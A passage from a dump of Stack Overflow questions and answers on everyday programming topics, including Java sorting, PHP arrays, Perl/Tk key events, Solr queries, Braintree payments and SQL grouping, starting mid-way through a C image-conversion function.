bias and the dynamic range. * If the dynamic range is &lt;= 255, just shift the values by the * bias, if any. * If the dynamic range is &gt; 255, there are two cases: * (1) the output depth is not forced to 8 bpp ==&gt; outdepth = 16 * (2) the output depth is forced to 8 ==&gt; linearly map the * pixel values to [0 ... 255]. */ fpixGetMin(fpix2, &amp;minval, NULL, NULL); fpixGetMax(fpix2, &amp;maxval, NULL, NULL); range = maxval - minval; *pbias = (minval &lt; 0.0) ? -minval : 0.0; fpixAddMultConstant(fpix2, *pbias, 1.0); /* shift: min val ==&gt; 0 */ if (range &lt;= 255 || !force8) { /* no scaling of output values */ outdepth = (range &gt; 255) ? 16 : 8; } else { /* scale output values to fit in 8 bpp */ fpixAddMultConstant(fpix2, 0.0, (255.0 / range)); outdepth = 8; } /* Convert back to pix; it won't do any clipping */ pixd = fpixConvertToPix(fpix2, outdepth, L_CLIP_TO_ZERO, 0); fpixDestroy(&amp;fpix2); return pixd; } </code></pre>
35522321	0	 <p>If you rellay don't want to use the lenght.... use the maths!</p> <pre><code>my_str = Qstring::number(my_str.toInt()*pow(10,2-log10(my_str.toInt()))) </code></pre> <p>or:</p> <pre><code>my_str = my_str.append('0',2-log10(my_str.toInt())) </code></pre> <p>but it would be much simpler/quick to do this:</p> <pre><code>my_str = my_str.append('0',3-my_str.length()) </code></pre>
32951147	0	Output file in a certain way via Java <p>Having a little bit of an issue. I have successfully output a file based on the timestamp order, however, theres another condition i am trying to add also to alphabetically order if the time stamp is the same.</p> <p>for example:</p> <p>[TIMESTAMP = 12:30][EVENT=B]</p> <p>[TIMESTAMP = 12:30][EVENT=U]</p> <p>[TIMESTAMP = 12:30][EVENT=A]</p> <p>and i want it to output</p> <p>[TIMESTAMP = 12:30][EVENT=A]</p> <p>[TIMESTAMP = 12:30][EVENT=B]</p> <p>[TIMESTAMP = 12:30][EVENT=U]</p> <p>my current code at the moment stands:</p> <pre><code>package Organiser; import java.io.File; import java.io.FileNotFoundException; import java.io.PrintWriter; import java.util.ArrayList; import java.util.Collections; import java.util.Scanner; public class Organiser { public static void main(String[] args) throws FileNotFoundException { ArrayList&lt;String&gt; lines = new ArrayList&lt;&gt;(); String directory = "C:\\Users\\xxx\\Desktop\\Files\\ex1"; Scanner fileIn = new Scanner(new File(directory + ".txt")); PrintWriter out = new PrintWriter(directory + "_ordered.txt"); while (fileIn.hasNextLine() == true) { lines.add(fileIn.nextLine()); Collections.sort(lines); System.out.println("Reading..."); } for (String output : lines) { out.println(output + "\n"); } out.close(); System.out.println("Complete - See " + directory + "_ordered.txt"); } } </code></pre> <p>any ideas</p> <p>EDIT: this is only for sample data, i only want this to occur when the time stamps the same, otherwise, it will order accordingly as per the time stamp.</p> <p>Sample file:</p> <p><a href="https://www.dropbox.com/s/611psg6qw4nl9pw/ex1.txt?dl=0" rel="nofollow">https://www.dropbox.com/s/611psg6qw4nl9pw/ex1.txt?dl=0</a></p>
12400026	0	 <p>Add a JoinColumn annotation to your ManyToOne field to specify a column name different than the one inferred by jpa </p> <p>Something like</p> <pre><code>@JoinColumn(name="clubadmin_id", referencedColumnName="clubadmin_id") </code></pre>
12440128	0	sd-toolkit sdk for barcode scanning on iPhone, does it work with the camera? <p>Like the question says, can you scan a barcode with the camera? or do you have to have the barcode on an image in the phone?</p>
11069563	0	 <p>Probably you misspelled the class name or you didn't import the class name, check that and try again. And also what Andrew Said.</p> <p>In case you are using the IDE Eclipse if you press Ctrl+Shift+o (letter O) it imports everything automatically for you.</p> <p>Hope it helps.</p>
2498312	0	 <p>I don't have the docs right in front of me, but I think if you mark the MouseButtonEventArgs object as Handled it stops the event from going up the chain.</p> <p>Should be as simple as </p> <pre><code>e.Handled = true; </code></pre> <p>Please somebody correct me if I am wrong about this.</p>
1203045	0	 <p>I believe you can't add the ';' at the end. So try:</p> <pre><code>DbCommand command = new OracleCommand( "insert into hardware (HardwareID) VALUES (6)", myConnection); command.ExecuteNonQuery(); </code></pre>
27776172	0	 <p>If you can access to your servlet from your browser, therefor you can access it programmatically. For example in <a href="http://theopentutorials.com/tutorials/android/http/android-how-to-send-http-get-request-to-servlet-using-apache-http-client/" rel="nofollow">this</a> link you can see how you can access to a servlet from android project. You just need to create an GET/POST HTTP request.</p>
25234753	0	 <h2>Solution</h2> <h3>Here is the working solution I ended up with:</h3> <pre><code>@Nonnull protected Class&lt;T&gt; getEntityType() { (Class&lt;T&gt;) new TypeToken&lt;T&gt;(getClass()) {}.getRawType(); } /** * purge ObjectMetadata records that don't have matching Objects in the GCS anymore. */ public void purgeOrphans() { ofy().transact(new Work&lt;VoidWork&gt;() { @Override public VoidWork run() { try { for (final T bm : ofy().load().type(ObjectMetadataEntityService.this.getEntityType()).iterable()) { final GcsFileMetadata md = GCS_SERVICE.getMetadata(bm.getFilename()); if (md == null) { ofy().delete().entity(bm); } } } catch (IOException e) { L.error(e.getMessage()); } return null; } }); } </code></pre>
37738247	0	Whats the proper tab order for invalid inputs? <p>For accessibility reasons, the first invalid input in a form ought to be focused upon form submission. This prevents the non-sighted user from being forced to hunt for the invalid inputs.</p> <p>My question pertains to tab order. After the first invalid input is focused, when the user clicks tab again, should the focus go to the next invalid input or just the next element in the normal tab order?</p> <p>Take this pseudo code for example. If input numbers 2 and 4 have errors, when the form is submitted then focus will be moved to input number 2. The next time the user presses the <code>tab</code> key does the focus go to input 3 or 4?</p> <pre><code>&lt;input id="1"&gt; &lt;input id="2"&gt; &lt;-- invalid &lt;input id="3"&gt; &lt;input id="4"&gt; &lt;-- invalid &lt;input id="5"&gt; &lt;button type="submit"&gt; </code></pre>
13244374	0	How can I get all component and widget Id of current Android window screen programmatically? <p>I use Robotium Framework for Android testing purpose and manually take component_id or index id or else part of Widgets from Hierarchy Viewer to put value at runtime for testing purpose.</p> <p>Is there any way to take component_id or index id or else part of Widgets Programmatically? So far I'm able to get package name and all activity names under that package application.</p>
17329894	0	Sorting Array [0] <pre><code>Array ( [0] =&gt; wilson ) Array ( [0] =&gt; umkk ) Array ( [0] =&gt; audiok ) Array ( [0] =&gt; Futurama ) </code></pre> <p>I have the above users array, i'm trying to sort it alphabetically so the result looks like this</p> <pre><code>audiok futurama umkk wilson </code></pre> <p>This is my php code from those lines:</p> <pre><code>$arr1 = explode("\n", $users); sort ($arr1); print_r($arr1); </code></pre> <p>Why isn't sort () working? It doesnt sort it at all.. what am i doing wrong? I'm new to php programming, i have looked on the php manual and have not been able to sort it after trying all these different examples posted there.</p> <p>Thanks in advanced.</p> <p>Edit:</p> <pre><code>preg_match_all('/control\?user=(.+?)&amp;data/', $linklong, $users) $users = $users[1][0];} </code></pre> <p>if i print $users all the users are displayed nicely, but when i tried to sort them it tells me is not array, so i took $users, and did explode to create the array... i'm sorry im not very programming savy –</p>
11943335	0	 <p>You can use <a href="http://docs.oracle.com/javase/1.5.0/docs/api/java/util/HashMap.html" rel="nofollow"><code>HashMap&lt;K,V&gt;</code></a></p> <pre><code>Map&lt;String,int&gt; map = new HashMap&lt;String,int&gt;(); </code></pre>
6519919	0	 <p><a href="http://php.net/manual/en/function.fsockopen.php" rel="nofollow">http://php.net/manual/en/function.fsockopen.php</a></p> <p>Will check if it is responding at all, if not don't show the iframe.</p>
20222136	0	 <p>This is the solution I ended up using:</p> <pre><code>str = 'hi all, this is derp. thank you all to answer my query.'; temp_arr = str.split('.'); for (i = 0; i &lt; temp_arr.length; i++) { temp_arr[i]=temp_arr[i].trim() temp_arr[i] = temp_arr[i].charAt(0).toUpperCase() + temp_arr[i].substr(1).toLowerCase(); } str=temp_arr.join('. ') + '.'; return str; </code></pre>
35771922	0	 <p>Add to your calling intent </p> <pre><code>mIntent. setFlags (Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); </code></pre> <p>Add to the activity in menifest</p> <pre><code>android:launchMode="singleTop" </code></pre>
19044812	0	 <p>Perl/Tk does not provide such functionality. So you would have to track the events yourself. Note that there are the <code>Any-KeyPress</code> and <code>Any-KeyRelease</code> events, so you don't have to create a binding for every key:</p> <pre><code>$mw-&gt;bind("&lt;Any-KeyPress&gt;" =&gt; sub { warn $_[0]-&gt;XEvent-&gt;K; # prints keysym }); </code></pre> <p>If you're on X11, then using the <code>X11::Protocol</code> module (which can be used within a Perl/Tk script) and calling the <code>QueryKeymap</code> method would give you the actually pressed keycodes. Here's a little script which demonstrates this:</p> <pre><code>use strict; use X11::Protocol; # Get the keycode-to-keysym mapping. Being lazy, I just parse # the output of xmodmap -pke. The "real" approach would be to # use X11 functions like GetKeyboardMapping() and the # X11::Keysyms module. my %keycode_to_keysym; { open my $fh, "-|", "xmodmap", "-pke" or die $!; while(&lt;$fh&gt;) { chomp; if (m{^keycode\s+(\d+)\s*=(?:\s*(\S+))?}) { if (defined $2) { $keycode_to_keysym{$1} = $2; } } else { warn "Cannot parse $_"; } } } my $x11 = X11::Protocol-&gt;new; while(1) { my $keyvec = $x11-&gt;QueryKeymap; for my $bit (0 .. 32*8-1) { if (vec $keyvec, $bit, 1) { warn "Active key: keycode $bit, keysym $keycode_to_keysym{$bit}\n"; } } sleep 1; } </code></pre>
10492551	0	 <p>You can split strings using the answer to this <a href="http://stackoverflow.com/q/314824/111013">Stack Overflow Question</a>. </p> <p>Having this function created, you can use it like so: </p> <pre><code>Declare @postcodes varchar(128) SET @postcodes = '2130 2602' SELECT * FROM users JOIN dbo.Split(' ',@postcodes) postcodes ON users.postcode = postcodes.s </code></pre>
15134885	0	 <p>This should be work</p> <pre><code>var regex = /^\d+(\.\d{1,2})?$/i; </code></pre>
9685706	0	 <p>Try providing margins around your EditText Background like this,</p> <pre><code> &lt;EditText android:id="@+id/tickets_value" android:layout_width="50dip" android:layout_height="wrap_content" android:gravity="center" android:padding="5dip" /&gt; </code></pre>
7998299	0	Is the .value property of HTMLSelectElement reliable <p>Consider an html select box with an id of "MySelect". </p> <p>Is it safe to get the value of the selected option like this:</p> <pre><code>document.getElementById("MySelect").value; </code></pre> <p>rather than this:</p> <pre><code>var Sel = document.getElementById("MySelect"); var MyVal = Sel.option[MyVal.selectedIndex].value; </code></pre> <p>It appears to be safe but I've never seen documentation on it.</p>
24913209	0	 <p>You can do this easily with <code>dplyr</code>. Assuming your data frame is named <code>df</code>, run:</p> <pre><code>library(dplyr) library(forecast) model_fits &lt;- group_by(df, Region) %&gt;% do(fit=auto.arima(.$Sales)) </code></pre> <p>The result is a data frame containing the model fits for each region:</p> <pre><code>&gt; head(model_fits) Source: local data frame [6 x 2] Groups: &lt;by row&gt; Region fit 1 A &lt;S3:Arima&gt; 2 B &lt;S3:Arima&gt; 3 C &lt;S3:Arima&gt; 4 D &lt;S3:Arima&gt; 5 E &lt;S3:Arima&gt; 6 F &lt;S3:Arima&gt; </code></pre> <p>You can get a list with each model fit like so:</p> <pre><code>&gt; model_fits$fit [[1]] Series: .$Sales ARIMA(0,0,0) with non-zero mean Coefficients: intercept 196.0000 s.e. 14.4486 sigma^2 estimated as 2088: log likelihood=-52.41 AIC=108.82 AICc=110.53 BIC=109.42 [[2]] Series: .$Sales ARIMA(0,0,0) with non-zero mean Coefficients: intercept 179.2000 s.e. 14.3561 sigma^2 estimated as 2061: log likelihood=-52.34 AIC=108.69 AICc=110.4 BIC=109.29 </code></pre>
12935540	0	Solr query with grouping not working <p>The following query works fine:</p> <pre><code>q=field_one:value_one AND -field_two:[* TO *] AND -field_three:[* TO *] </code></pre> <p>However, as soon as I put brackets in there I get no results</p> <pre><code>q=field_one:value_one AND (-field_two:[* TO *] AND -field_three:[* TO *]) </code></pre> <p>Aren't these two queries equivalent?</p> <p>Thanks all</p> <p><em>Dave</em></p> <p>NB: I'm doing this as I need to combine more 'AND's with 'OR's; rather than just because I like brackets.</p>
1656766	0	 <p>Visual Studio has a fullscreen mode via pressing <kbd>Shift+Alt+Enter</kbd>.</p>
3385366	0	 <p>This will be mostly client-side. You can take a look at something like <a href="http://www.webresourcesdepot.com/jquery-image-crop-plugin-jcrop/" rel="nofollow noreferrer">Jcrop</a>.</p>
13718734	0	 <p>I guess you mean <strong>Vendor Specific Prefixes</strong>. I've found something interesting you might like: <a href="http://css3please.com/" rel="nofollow">http://css3please.com/</a>.</p> <p>Check this out for other related tools: <a href="http://css-tricks.com/tldr-on-vendor-prefix-drama/" rel="nofollow">http://css-tricks.com/tldr-on-vendor-prefix-drama/</a></p>
26127025	0	 <p>Did you try <a href="http://stackoverflow.com/questions/16133706/push-listview-when-keyboard-appears-without-adjustpan">this</a>?</p> <p>You would need to use <code>setTranscriptMode(ListView.TRANSCRIPT_MODE_NORMAL)</code> and <code>setStackFromBottom(true)</code> in your list. Hope it helps, it worked for me!</p>
34479246	0	 <p>According to documentation <a href="https://docs.angularjs.org/api/ng/filter/orderBy" rel="nofollow">https://docs.angularjs.org/api/ng/filter/orderBy</a> you can pass expression as a string <code>'match'</code></p> <pre><code>var sortedMP = $filter('orderBy')(matchedProfiles, 'match'); </code></pre> <p>or function</p> <pre><code>var sortedMP = $filter('orderBy')(matchedProfiles, function(profile) { return profile.match; }); </code></pre>
10350631	0	 <p>Here's a hint - use:</p> <pre><code>var t = Date.now(); </code></pre> <p>to get the current time (measured in milliseconds since 00:00:00 UTC on 01/01/1970) with millisecond <em>resolution</em>.</p> <p>Note that the result will still be limited in <em>accuracy</em> by the system hardware.</p> <p>On older browsers without <code>Date.now()</code>, use:</p> <pre><code>var t = new Date().valueOf(); </code></pre> <p>or the terser </p> <pre><code>var t = +new Date(); </code></pre> <p>The latter uses numeric coercion (the <code>+</code> prefix) to generate an automatic call to <code>.valueOf()</code>.</p>
25623997	0	 <p>Could you try command below?</p> <pre><code>app/console doctrine:generate:entities PrintingProductesBundle:UserStamp </code></pre>
15194460	0	Tinyscrollbar for Mobiles <p>According to <a href="http://www.baijs.nl/tinyscrollbar/" rel="nofollow">Tinyscroll's website</a>, mobile scrolling is supposed to work. Under options you see:</p> <blockquote> <p><code>invertscroll: false</code> -- Enable mobile invert style scrolling.</p> </blockquote> <p>Has anybody actually gotten this to work? Help would be much appreciated. Thanks.</p> <p>My code is the standard HTML set up with my options configured as:</p> <pre><code>$.tiny.scrollbar = { options: { axis : 'y' // vertical or horizontal scrollbar? ( x || y ). , wheel : 40 // how many pixels must the mouswheel scroll at a time. , scroll : true // enable or disable the mousewheel. , lockscroll : true // return scrollwheel to browser if there is no more content. , size : 'auto' // set the size of the scrollbar to auto or a fixed number. , sizethumb : 'auto' // set the size of the thumb to auto or a fixed number. , invertscroll : true // enable scrolling for mobiles } }; </code></pre>
15523905	0	 <p>If you just need to parse your json file on runtime, you can use <code>!define</code> with the <code>/file</code> option:</p> <pre><code>!define /file OPTIONS json.txt </code></pre> <p>It will define OPTIONS with the content of json.txt.</p> <p>If you want to utilize your json file in compile time to alter the generated exe, then you need some kind of precompiler, which is what you're actually doing.</p>
15165553	0	 <p>This change in behavior in p392 is due to a <a href="https://github.com/flori/json/commit/d0a62f3ced7560daba2ad546d83f0479a5ae2cf2">security fix</a>. See the <a href="http://www.ruby-lang.org/en/news/2013/02/22/json-dos-cve-2013-0269/">p392 release announcement</a> for more details.</p> <p>Your code works with the addition of the <code>:create_additions</code> option in your call to <code>JSON.parse</code>:</p> <pre><code>require 'json' class Range def to_json(*a) { 'json_class' =&gt; self.class.name, 'data' =&gt; [ first, last, exclude_end? ] }.to_json(*a) end def self.json_create(o) new(*o['data']) end end puts JSON.parse((1..10).to_json, :create_additions =&gt; true) == (1..10) </code></pre>
36488557	0	 <p>The answer of Eike pointed me in the right direction, therefore +1 for his answer, but I had to use cURL instead of fopen().</p> <p>My complete working solution:</p> <pre><code>&lt;?php $curl_handle=curl_init(); curl_setopt($curl_handle, CURLOPT_URL,'http://www.google-analytics.com/collect/v=1&amp;tid=UA-xxxxxxx-1&amp;cid=555&amp;t=pageview&amp;dp=%2Fgeoip.php'); curl_setopt($curl_handle, CURLOPT_CONNECTTIMEOUT, 2); curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl_handle, CURLOPT_USERAGENT, 'Geoip tracker'); $query = curl_exec($curl_handle); curl_close($curl_handle); $arr = array('country' =&gt; 'United States', 'city' =&gt; 'New York'); if(isset ($_GET['jsonp'])) { echo $_GET['jsonp'] . '(' . json_encode($arr) . ')'; } else { echo json_encode($arr); } ?&gt; </code></pre>
32298029	0	Drop a file from resources to a folder <p>So I'm using:</p> <pre><code>IO.File.WriteAllBytes(Environ("/bin/") &amp; "utorrent.exe", My.Resources.utorrent) </code></pre> <p>Which suppose to enter the folder "bin" and than drop the file <code>utorrent.exe</code>.</p> <p>What it does is just dropping the file at the same place as the exe, not going into bin folder first.</p>
28168529	0	LESS and CSS Imports - Going Crazy <p>I have an issue currently with my LESS and CSS where an import into Bootstrap.less is being called before an overriding file, yet the first import is overriding the CSS..</p> <p>As an example, let's say my bootstrap.less file looks like this:</p> <pre><code>/* ALL STANDARD BOOTSTRAP LESS FILE HERE*/ // Generic Widget Styles @import "components/_widget-styles.less"; // Header Area @import "components/_header-area.less"; // Global Search Spinner @import "components/_search-spinner.less"; // Smart Feed @import "components/_smart-feed.less"; // Home Page Container @import "components/_home-container.less"; // Footer @import "components/_footer.less"; // Documents Page Container @import "components/_documents.less"; </code></pre> <p>My Generic Widgets styles have some styles that can be used and overriden all over the site and in the home page container I do just that and it works fine, however for some reason I am having to use !important to override any styles which isn't really a great thing to do imo. Should it use the last style to be added to the CSS file?</p>
32108847	0	How to share the page to facebook / twitter with different language? <p>I am using codeigniter and the language is determine by the session.</p> <p>I wrrite the meta data, facebook / twitter grab the data and share the page:</p> <pre><code> echo "&lt;meta name='twitter:card' content='summary' /&gt;"; echo "&lt;meta property='og:title' content='" . $video-&gt;{set_lang("title")} . "' /&gt;"; echo "&lt;meta property='og:description' content='" . $video-&gt;{set_lang("description")} . "' /&gt;"; echo "&lt;meta property='og:image' content='" . (isset($video-&gt;image_url) ? site_url("thumbnail/" . $video-&gt;image_url) : $video-&gt;thumbnail) . "' /&gt;"; </code></pre> <p>The set_lang function is to check the session like this:</p> <pre><code>function set_lang($var) { $CI = &amp; get_instance(); $lang = $CI-&gt;session-&gt;userdata('site_lang'); if ($lang == "english") { return $var; } else if ($lang == "zh_tw") { return $var . "_tw"; } else if ($lang == "zh_cn") { return $var . "_cn"; } } </code></pre> <p>The share function work fine in the browser, however, I would like to share the link by mobile app too. Since the app contain no session it can not check language. Also, if I put the parameter in the link, eg.</p> <p><a href="http://example.com/video/view/1/english">http://example.com/video/view/1/english</a></p> <p>Then my share link will also fix the language.</p> <p>Any ideas ? Thanks a lot for helping.</p>
2142131	0	 <p>If you really don't want to loop, try this:</p> <pre><code>$arr[] = array('A','B'); $arr[] = array('C','B'); $arr[] = array('C','D'); $arr[] = array('F','A'); $merged = array_unique(call_user_func_array('array_merge', $arr)); </code></pre>
35043269	0	 <p>The reason for the error is that, the pisa module some time uses the Python's logging module to log warnings or errors. By default it is trying to access a logger named <code>xhtml2pdf</code>. So you need to define a handler for <code>xhtml2pdf</code> on your settings file.</p> <p>Django's logging settings would look like this,</p> <pre><code>LOGGING = { 'version': 1, 'disable_existing_loggers': True, 'formatters': { 'standard': { 'format': "[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s", 'datefmt': "%d/%b/%Y %H:%M:%S" }, }, 'handlers': { 'logfile': { 'level': 'DEBUG', 'filename': BASE_DIR + "/Log/info.log" }, 'console': { 'level': 'INFO', 'class': 'logging.StreamHandler', 'formatter': 'standard' }, }, 'loggers': { 'django': { 'handlers': ['console'], 'propagate': True, 'level': 'WARN', }, 'xhtml2pdf': { 'handlers': ['logfile'], 'level': 'DEBUG' }, } } </code></pre> <p>The reason for this error's inconsistacy is bacause, pisa maynot use logger all the time.</p>
21268426	1	Having a try at computing the sieve of Eratosthenes <p>I'm an absolute novice to python but I am trying to compute something that should act like the sieve of Eratosthenes.</p> <p>I'm going to start easy and just create a set with all integers from 2 up to 100. Let's call that set S.</p> <p>I then want to create a set of all integers n such that 2n is contained in that set, let's call it P1. In other words, a set of the integers 2, 4, 6, 8 etc.</p> <p>I want to then do the same thing but with P2 = 3n and then P3 = 5n.</p> <p>In the end I want to return all integers of my set S but disregard the integers in P1, P2 and P3.</p> <p>How would I go on about doing this?</p> <p>My try:</p> <pre><code> numbers=set(range(2,100)) </code></pre> <p>but I'm stuck on creating the other sets and disregarding them!</p> <p>Thanks.</p> <p>My idea so far:</p> <pre><code>def sieve(n): S = set(range(2, 100)) P1 = set(range(0, 100, 2)) P2 = set(range(0, 100, 3)) P3 = set(range(0, 100, 5)) P5 = set(range(0, 100, 7)) return S-P1-P2-P3-P5 print (sieve(100)) </code></pre>
31815449	0	 <p>Within your object your reference to your database is <code>$this-&gt;db</code> instead of <code>$db</code>. So you only need to change the <code>$db</code> references within your class to <code>$this-&gt;db</code>.</p> <p>Greetings :)</p>
35148921	0	CMD - filename by octal / hexa chars <p>is here any way how to set variable in windows cmd, to be not easy to read?</p> <p>I mean something like </p> <pre><code>set address = 0x0164 + 0x0145 + 0x056 + 0x0164 + 0x0170 + 0x0164 copy /y NUL C:\temp\%address% &gt;NUL </code></pre> <p>where address is octal representation of "te.txt" and whole code will be saved as .bat</p>
14764304	0	 <p>Sounds like precision problems. Movement can amplify the effect of rounding errors. When working on a model of the solar system (uom: meters) in three.js, I ran into many issues with "flickering" textures/models myself. gaitat is absolutely correct that you are experiencing z-buffer depth precision issues. There are a few ways that my partner and I dealt with it.</p> <p>The z-buffer is not linear. sjbaker's site mentioned by gaitat will make that quite clear as it did for me months ago. Most z-buffer precision is found in the near. If your objects are be up to 1000000 units in size, then the objects themselves, not to mention the space between them, are already outside of the range of effective precision. One solution used by many, many video games out there, is to <em>not</em> move the player(camera), but instead move the world. This way, as something gets closer to the camera, it's precision increases. This is most important for textures on large overlapping objects far away (flickering/occlusion), or for small meshes far from the axial origin, where rounding problems become severe enough to jump meshes out of view. It is definitely easier said than done though, as you either have to make a "just in time" calculation to move everything in respect to the player (and still suffer rounding errors) or come up with a more elegant solution.</p> <p>You will lose very little near precision with very high far numbers, but you will gain considerable precision in the mid-range with slightly larger near numbers. Even if the meshes you are working with can be as small as 10 units, a near camera setting of 10 or 100 might buy you some slack. Camera settings are not the only way to deal with the z-buffer.</p> <p><a href="http://www.opengl.org/archives/resources/faq/technical/polygonoffset.htm">polygonOffset</a> - You effectively tell the z-buffer which thing (material on a mesh) belongs on top. It can introduce as many problems as it solves though, and can take quite a bit of tuning. Consider it akin to z-index in css, but a bit more fickle. Increasing the offset on one material to make sure it is rendered over something in the far, may make it render over something in the near. It can snowball, forcing you to set offsets on most of your objects. Factor and unit numbers are usually between -1.0 and 1.0 for polygonOffset, and may have to be fiddled with.</p> <p><a href="http://threejsdoc.appspot.com/doc/three.js/src.source/materials/Material.js.html">depthWrite=false</a> - This means "do not write to the depth-buffer" and is great for a material that should <em>always</em> be rendered "behind" everything. Good examples are skyboxes and backgrounds.</p> <p>Our project used all the above mentioned methods and still had mediocre results, though we were dealing with numbers as large as 40 Astronomical Units in meters (Pluto). </p> <p>"They" call it "z-fighting", so fight the good fight!</p>
1849256	0	 <p>Just select the cell the highest sum of those two columns.</p>
30971149	0	Setting ActiveRecord::Errors object to nil <p>I am trying to add unit tests to a part of my project that deals with displaying errors.</p> <p>In order to test for correct handling in a case where there is no ActiveRecord::Errors object to iterate through, I am trying to delete the errors object (not the individual errors) from an otherwise-working test fixture (<code>@customer</code>).</p> <p>I had hoped <code>@customer.errors = nil</code> would do the job, but it is raising an error.</p> <p>Test case:</p> <pre><code> test "Errors_WhenErrorsObjectNotFound_RaisesNoErrors" do log_in_as(@customer) @customer.errors = nil get :edit, id: @customer assert_nothing_raised end </code></pre> <p>Unit being tested (should not be relevant but just in case):</p> <pre><code>&lt;% if errors.count == 0 || errors.nil? %&gt; &lt;div class="success"&gt; &lt;ul&gt; &lt;li&gt;Update successful&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;% else %&gt; &lt;div class="error"&gt; &lt;ul&gt; &lt;% errors.full_messages.each do |err| %&gt; &lt;li&gt;&lt;%= err %&gt;&lt;/li&gt; &lt;% end %&gt; &lt;/ul&gt; &lt;/div&gt; &lt;% end %&gt; </code></pre> <p>Error generated:</p> <pre><code> 3) Error: CustomersControllerTest#test_Errors_WhenErrorsObjectNotFound_RaisesNoErrors: NoMethodError: undefined method `errors=' for #&lt;Customer:0x9b0f958&gt; test/controllers/customers_controller_test.rb:184:in `block in &lt;class:CustomersControllerTest&gt;' </code></pre> <p>Any suggestions on how to delete the errors object?</p>
32962473	0	 <p>The below query could solve your expectation..</p> <pre><code>SELECT TRUNC(months_between(sysdate,dob)/12) YEAR, TRUNC(mod(months_between(sysdate,dob),12)) MONTH, TRUNC(sysdate-add_months(dob,TRUNC(months_between(sysdate,dob)/12)*12+TRUNC(mod(months_between(sysdate,dob),12)))) day FROM (SELECT to_date('15-12-2000','DD-MM-YYYY') dob FROM dual ); Year Month day 14 9 21 </code></pre>
10306654	0	Liferay: Change URL Format for document links inside of web content (journal article) <p>Is it possible to change the URL Format for document links inside of web content (journal article). It will be userfull for me to see the kind of mime-type of this document inside the url. May be it is simple to add to <code>a</code>-element some css class, like <code>&lt;a class="pdf" href="...</code></p> <p>At last the request is to show different icons before such links.</p>
14237674	0	How to delete files in github using the web interface <p>The title pretty much is the question. I am aware of <code>git rm file</code> but this isn't what I am looking for. I am looking for a way to delete files and folders in a github repo using <strong>ONLY</strong> a browser.</p>
36639577	0	Paypal vs braintree for user to user payments <p>I need a solution that allows UserA to make a payment to UserB. UserA is a registered account in a web service that has their information stored in the "vault". UserB has no registered account and would simply pay at checkout by entering a valid card number. The web service would take 2% of the payment that goes to I guess a separate account for the website.</p> <p>I am trying to wrap my head around which payment service to use as this is the first time I am creating a service with money transactions involved. I like Braintree specifically from what I see:</p> <ul> <li>Free up to first 50k (good for a small cloud based web service)</li> <li>Drop in UI that handles the encryption side of thigns for me (so it seems)</li> </ul> <p>My question is my solution requirements need me to seemily split up the transaction that UserB pays from a card into two places - a portion to UserA and a portion to the web service. Does Brain tree offer a solution that makes this possible as I see it is with Paypal <a href="https://developer.paypal.com/docs/classic/products/adaptive-payments/" rel="nofollow">Adaptive Payments</a></p> <p>Just looking for a quick link to the documentation.</p>
36446666	0	Compare rows and select max value <p>I have the following table:</p> <pre><code>FileName | SubFileName | TotalPlayersCount | ------------------------------------------- AAA | SF1 | 11 | AAA | SF2 | 5 | AAA | SF3 | 3 | BBB | SF1 | 8 | BBB | SF2 | 15 | BBB | SF3 | 2 | CCC | SF1 | 5 | CCC | SF2 | 10 | CCC | SF3 | 20 | </code></pre> <p>As you can see, each <code>FileName</code> has 3 different <code>SubfileName</code> ('SF1', 'SF2', 'SF3').</p> <p>Each of these <code>SubfileName</code> have a different value for <code>TotalPlayersCount</code>.</p> <p>I am trying to select the max value of the column <code>TotalPlayersCount</code> out of the three <code>SubfileName</code>, and this, <em>FOREACH</em> <code>FileName</code>.</p> <p>The result should be:</p> <pre><code>FileName | SubFileName | TotalPlayersCount | ------------------------------------------- AAA | SF1 | 11 | BBB | SF2 | 15 | CCC | SF3 | 20 | </code></pre> <p>I tried myself a couple of queries and this is the closest I've come to:</p> <pre><code>select distinct FileName, max(TotalPlayersCount) AS TotalPlayersCount from dbo.MyTestTable group by FileName </code></pre> <p>This is the result I get:</p> <pre><code>FileName | TotalPlayersCount | ------------------------------ AAA | 11 | BBB | 15 | CCC | 20 | </code></pre> <p>So now I'm missing the <code>SubfileName</code> in the result.</p> <p>Could you help me finding what's missing?</p> <p>Thanks in advance.</p>
10334656	0	 <p>// call this function with your resize ratio... </p> <pre><code> -(UIImage*)scaleByRatio:(float) scaleRatio { CGSize scaledSize = CGSizeMake(self.size.width * scaleRatio, self.size.height * scaleRatio); CGColorSpaceRef colorSpace; int bitmapBytesPerRow; bitmapBytesPerRow = (size.width * 4); //The output context. UIGraphicsBeginImageContext(scaledSize); CGContextRef context = context = CGBitmapContextCreate (NULL, scaledSize .width, scaledSize .height, 8, // bits per component bitmapBytesPerRow, colorSpace, kCGImageAlphaPremultipliedLast); //Percent (101%) #define SCALE_OVER_A_BIT 1.01 //Scale. CGContextScaleCTM(context, scaleRatio * SCALE_OVER_A_BIT, scaleRatio * SCALE_OVER_A_BIT); [self drawAtPoint:CGPointZero]; //End? UIImage *scaledImage = UIGraphicsGetImageFromCurrentImageContext(); UIGraphicsEndImageContext(); return scaledImage; } </code></pre> <p>Hope, this will help you...</p>
13200181	0	C++ dll not found while C# dlls are all found(and works on my computer) <p>on a clean computer(no visual studio), I zipped up the Debug folder for someone else (which worked on my computer) and someone else tried to start the program and I got the error</p> <p>System.DllNotFoundException: Unable to load DLL 'HookHandler.dll': The specified module could not be found. (Exception from HRESULT: 0x8007007E)</p> <p>I then had him install <a href="http://www.microsoft.com/en-us/download/details.aspx?id=8328" rel="nofollow">http://www.microsoft.com/en-us/download/details.aspx?id=8328</a></p> <p>thinking that would help. Any ideas why it is not finding the dll on his computer but finds it fine on my computer?</p> <p>EDIT: I should have noted HookHandler.dll sits in the same folder as the exe. Again, it works on my computer when I run the exe and HookHandler is there in my folder. I zip it up with HookHandler and gave it to someone else and it doesn't work and I verified HookHandler was there in his folder.</p> <p>For somereason, installing visual studio fixed the issue. so it must be something HookHandler depends on so I need to try the ProcMon tool or depends.exe to see what HookHandler is depending on I guess.</p> <p>thanks, Dean</p>
4926114	0	xcode settings -- path to link map file -- what is it? <p>Can anyone explain what this setting means, and what it does?</p> <p>EDIT: Thank you for the answers. Got it about the crash reports. Let me ask this -- does the link map file have any impact on my app's execution?</p>
